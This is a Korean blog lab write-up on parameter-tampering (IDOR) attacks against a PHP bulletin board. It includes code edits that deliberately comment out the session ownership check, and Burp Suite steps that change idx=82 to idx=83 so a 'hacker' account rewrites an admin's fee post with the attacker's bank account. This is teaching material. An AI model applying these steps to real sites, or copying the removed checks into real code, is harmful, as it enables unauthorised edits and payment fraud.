&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1407&quot; data-origin-height=&quot;804&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bD0Eko/btsMx9oj8ns/VkK5u102KXnurBWcJd6uBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bD0Eko/btsMx9oj8ns/VkK5u102KXnurBWcJd6uBk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bD0Eko/btsMx9oj8ns/VkK5u102KXnurBWcJd6uBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbD0Eko%2FbtsMx9oj8ns%2FVkK5u102KXnurBWcJd6uBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1407&quot; height=&quot;804&quot; data-origin-width=&quot;1407&quot; data-origin-height=&quot;804&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 동작 예시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) 공격자는 자신의 id 파라미터를 admin으로 변조하여 mypage.jsp 를 요청 ( id 파라미터에 사전 대입을 사용하여 무작위 공격 시도)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) 어플리케이션에서 DB로 id가 admin 인 정보를 요청&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3) DB에서 id가 admin 인 정보를 어플리케이션으로 반환&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;4) 공격자에게 admin 정보 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이로드만 봐서는 실제 공격 여부를 판단하기 어렵지만, 어플리케이션에서는 세션을 통해 공격 여부를 판단할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션을 통해서 요청하는 사용자가 hacker 인지 admin 인지 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션을 통해서 요청이 이루어지는 경우 사용자 입력값이 필요하지 않다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파라미터를 통해서 동작이 이루어지므로 취약하다. (파라미터 변조가 가능하므로)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약 원인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 입력값 검증 부재&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 취약한 설계&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습9-1 파라미터 변조 취약점 공격을 통한 타 사용자 게시글 무단 수정, 삭제 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실습을 위해서는 소스코드 수정이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;action.php 에서 세션 검증하는 코드를 주석 처리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 의 modify 부분 세션 검증 코드 주석 처리 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740494553232&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;		# Password Check Logic
		#$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
		/*
		$query = &quot;select * from {$tb_name} where idx={$idx} and id='{$_SESSION[&quot;id&quot;]}'&quot;;
		$result = $db_conn-&amp;gt;query($query);
		$num = $result-&amp;gt;num_rows;

		if($num == 0) {
			#echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			echo &quot;&amp;lt;script&amp;gt;alert('잘못된 요청 입니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}
		*/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 의 delete 부분 세션 검증 코드 주석 처리 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740494579384&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;		# Password Check Logic
		#$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
		/*
		$query = &quot;select * from {$tb_name} where idx={$idx} and id='{$_SESSION[&quot;id&quot;]}'&quot;;
		$result = $db_conn-&amp;gt;query($query);
		$num = $result-&amp;gt;num_rows;

		if($num == 0) {
			#echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			echo &quot;&amp;lt;script&amp;gt;alert('잘못된 요청 입니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}
		*/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커 계정으로 로그인 후 게시글을 작성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;835&quot; data-origin-height=&quot;391&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmtJXa/btsMx1YeTjQ/3akzzm4ZceLggNhDBYogy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmtJXa/btsMx1YeTjQ/3akzzm4ZceLggNhDBYogy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmtJXa/btsMx1YeTjQ/3akzzm4ZceLggNhDBYogy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmtJXa%2FbtsMx1YeTjQ%2F3akzzm4ZceLggNhDBYogy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;835&quot; height=&quot;391&quot; data-origin-width=&quot;835&quot; data-origin-height=&quot;391&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그아웃 후 admin 계정으로 로그인 후 아래와 같이 게시글을 작성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;836&quot; data-origin-height=&quot;692&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vCT57/btsMxF8VJUl/izvL9XdQvs1j2S7Edpnzi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vCT57/btsMxF8VJUl/izvL9XdQvs1j2S7Edpnzi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vCT57/btsMxF8VJUl/izvL9XdQvs1j2S7Edpnzi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvCT57%2FbtsMxF8VJUl%2FizvL9XdQvs1j2S7Edpnzi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;836&quot; height=&quot;692&quot; data-origin-width=&quot;836&quot; data-origin-height=&quot;692&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 해커 계정으로 로그인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 관리자가 작성한 회비 정보 게시글을 확인하고 해당 게시글 수정을 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 수정을 시도하기 전에 원활한 실습을 위해 패스워드 입력란을 삭제한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;modify.php 에서 패스워드를 표시하는 코드를 삭제한다. (31 - 34번 라인)&lt;/p&gt;
&lt;pre id=&quot;code_1740495369824&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;		  &amp;lt;div class=&quot;form-group&quot;&amp;gt;
			&amp;lt;label for=&quot;exampleInputPassword1&quot;&amp;gt;Password&amp;lt;/label&amp;gt;
			&amp;lt;input type=&quot;password&quot; class=&quot;form-control&quot; name=&quot;password&quot; placeholder=&quot;Password Input&quot;&amp;gt;
		  &amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;action.php 에서 96번 라인에 empty($password) 부분을 삭제한다.&lt;/p&gt;
&lt;pre id=&quot;code_1740495470480&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if(empty($idx) || empty($title) || empty($content)) {
			echo &quot;&amp;lt;script&amp;gt;alert('빈칸이 존재합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 패스워드란이 없어졌으며, 수정이 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;801&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o8FXR/btsMxn8Cffd/0O7L3zoGicIgChokwh23mk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o8FXR/btsMxn8Cffd/0O7L3zoGicIgChokwh23mk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o8FXR/btsMxn8Cffd/0O7L3zoGicIgChokwh23mk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo8FXR%2FbtsMxn8Cffd%2F0O7L3zoGicIgChokwh23mk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;838&quot; height=&quot;801&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;801&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 게시글을 무단으로 수정하는 방법은 2가지가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파라미터 변조 공격을 하기 위해서는 파라미터 대상이 있어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 대상은 83번 게시글이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;848&quot; data-origin-height=&quot;458&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckrjqf/btsMx1w9ibz/EayCWN5Kk2kg22CLMjuhN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckrjqf/btsMx1w9ibz/EayCWN5Kk2kg22CLMjuhN0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckrjqf/btsMx1w9ibz/EayCWN5Kk2kg22CLMjuhN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fckrjqf%2FbtsMx1w9ibz%2FEayCWN5Kk2kg22CLMjuhN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;848&quot; height=&quot;458&quot; data-origin-width=&quot;848&quot; data-origin-height=&quot;458&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커 계정의 게시글을 modify 를 클릭하여 수정하는 페이지로 접속한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=82 부분을 수정할 게시글 idx=83 으로 변경한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1554&quot; data-origin-height=&quot;850&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lcxhW/btsMvywIoRK/5fiyQM06OPzDqeeIjw5Ujk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lcxhW/btsMvywIoRK/5fiyQM06OPzDqeeIjw5Ujk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lcxhW/btsMvywIoRK/5fiyQM06OPzDqeeIjw5Ujk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlcxhW%2FbtsMvywIoRK%2F5fiyQM06OPzDqeeIjw5Ujk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1554&quot; height=&quot;850&quot; data-origin-width=&quot;1554&quot; data-origin-height=&quot;850&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 idx=83 게시글의 수정페이지로 이동하게 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1605&quot; data-origin-height=&quot;856&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wCcp6/btsMu8Zhj7Q/m2Z0pcJuzFJS6AkLWcCJV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wCcp6/btsMu8Zhj7Q/m2Z0pcJuzFJS6AkLWcCJV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wCcp6/btsMu8Zhj7Q/m2Z0pcJuzFJS6AkLWcCJV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwCcp6%2FbtsMu8Zhj7Q%2Fm2Z0pcJuzFJS6AkLWcCJV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1605&quot; height=&quot;856&quot; data-origin-width=&quot;1605&quot; data-origin-height=&quot;856&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 공격자는 본인의 계좌로 게시글을 수정할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 해커 계좌로 게시글을 임의로 수정한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;835&quot; data-origin-height=&quot;781&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wChmd/btsMvycjkkD/etdrjPvcnkoqffWspavDE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wChmd/btsMvycjkkD/etdrjPvcnkoqffWspavDE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wChmd/btsMvycjkkD/etdrjPvcnkoqffWspavDE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwChmd%2FbtsMvycjkkD%2FetdrjPvcnkoqffWspavDE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;835&quot; height=&quot;781&quot; data-origin-width=&quot;835&quot; data-origin-height=&quot;781&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수정 후 83번 게시글을 확인하면 다음과 같이 게시글이 해커의 계좌로 수정되어 있는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;837&quot; data-origin-height=&quot;706&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cLGSSe/btsMvaJAbpe/AKFAuwYOwdteKbIccu4pik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cLGSSe/btsMvaJAbpe/AKFAuwYOwdteKbIccu4pik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cLGSSe/btsMvaJAbpe/AKFAuwYOwdteKbIccu4pik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcLGSSe%2FbtsMvaJAbpe%2FAKFAuwYOwdteKbIccu4pik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;837&quot; height=&quot;706&quot; data-origin-width=&quot;837&quot; data-origin-height=&quot;706&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;방금 같은 경우에는 form 페이지에 접속을 한 경우이며, form 페이지에 접속이 안되는 경우도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(modify 의 form 페이지에서 파라미터 변조에 대한 검증을 하는 경우)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;modify.php -&amp;gt; action.php&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파라미터 검증은 modify.php 가 아닌 action.php 에서 해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;modify.php 에서&amp;nbsp; action.php 로 넘어갈때 파라미터 변조를 시도한다. (버프스위트 사용)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커는 82번 게시글에서 수정을 하되, 게시글 내용은 관리자가 작성한 내용으로 변경을 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 버프스위트로 넘겨서 idx=82를 idx=83으로 변경한다. (관리자 게시글이 변경되도록)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;829&quot; data-origin-height=&quot;786&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bto6Kr/btsMvb9xlEz/GgdaZiGJ540sWSzmiwP6kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bto6Kr/btsMvb9xlEz/GgdaZiGJ540sWSzmiwP6kk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bto6Kr/btsMvb9xlEz/GgdaZiGJ540sWSzmiwP6kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbto6Kr%2FbtsMvb9xlEz%2FGgdaZiGJ540sWSzmiwP6kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;829&quot; height=&quot;786&quot; data-origin-width=&quot;829&quot; data-origin-height=&quot;786&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Intercept On 후 게시글의 Modify를 클릭한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx 부분을 83으로 변경한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;619&quot; data-origin-height=&quot;524&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xdX9p/btsMx9IF0I6/91kK6eB0A5Kcq9g3yfxWI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xdX9p/btsMx9IF0I6/91kK6eB0A5Kcq9g3yfxWI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xdX9p/btsMx9IF0I6/91kK6eB0A5Kcq9g3yfxWI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxdX9p%2FbtsMx9IF0I6%2F91kK6eB0A5Kcq9g3yfxWI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;619&quot; height=&quot;524&quot; data-origin-width=&quot;619&quot; data-origin-height=&quot;524&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변경 후 Intercept Off 를 하면 idx=83 게시글(관리자 게시글)이 기존과 동일하게 관리자 계좌의 내용을 변경된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;837&quot; data-origin-height=&quot;691&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k9Ix4/btsMv6fqhNq/57LAMd2w8xU6hGWPMA9WQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k9Ix4/btsMv6fqhNq/57LAMd2w8xU6hGWPMA9WQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k9Ix4/btsMv6fqhNq/57LAMd2w8xU6hGWPMA9WQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk9Ix4%2FbtsMv6fqhNq%2F57LAMd2w8xU6hGWPMA9WQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;837&quot; height=&quot;691&quot; data-origin-width=&quot;837&quot; data-origin-height=&quot;691&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫번째 실습과 두번째 실습의 차이점(파라미터 변조의 시점)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. modify 의 form 페이지로 들어갈때 파라미터를 수정하는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. modify -&amp;gt; action 페이지로 넘어갈때 파라미터 변조를 하는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫번째 실습과 두번째 실습의 공통점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 모두가 action 페이지로 넘어갈때 요청값이 동일하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자가 실수로 form 페이지에만 파라미터 검증 로직을 적용한경우, 두번째 실습과 같이 modify 에서 action 페이지로 넘어갈때 파라미터 변조가 가능하다. (action 페이지에 검증 로직을 적용해야 한다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 idx=83 게시글을 삭제해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커 계정으로 접속 후 idx=82 게시글 삭제를 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트를 켜고 Intecpet On 을 클릭 후 게시글 Delete 버튼을 클릭한다.&lt;/p&gt;
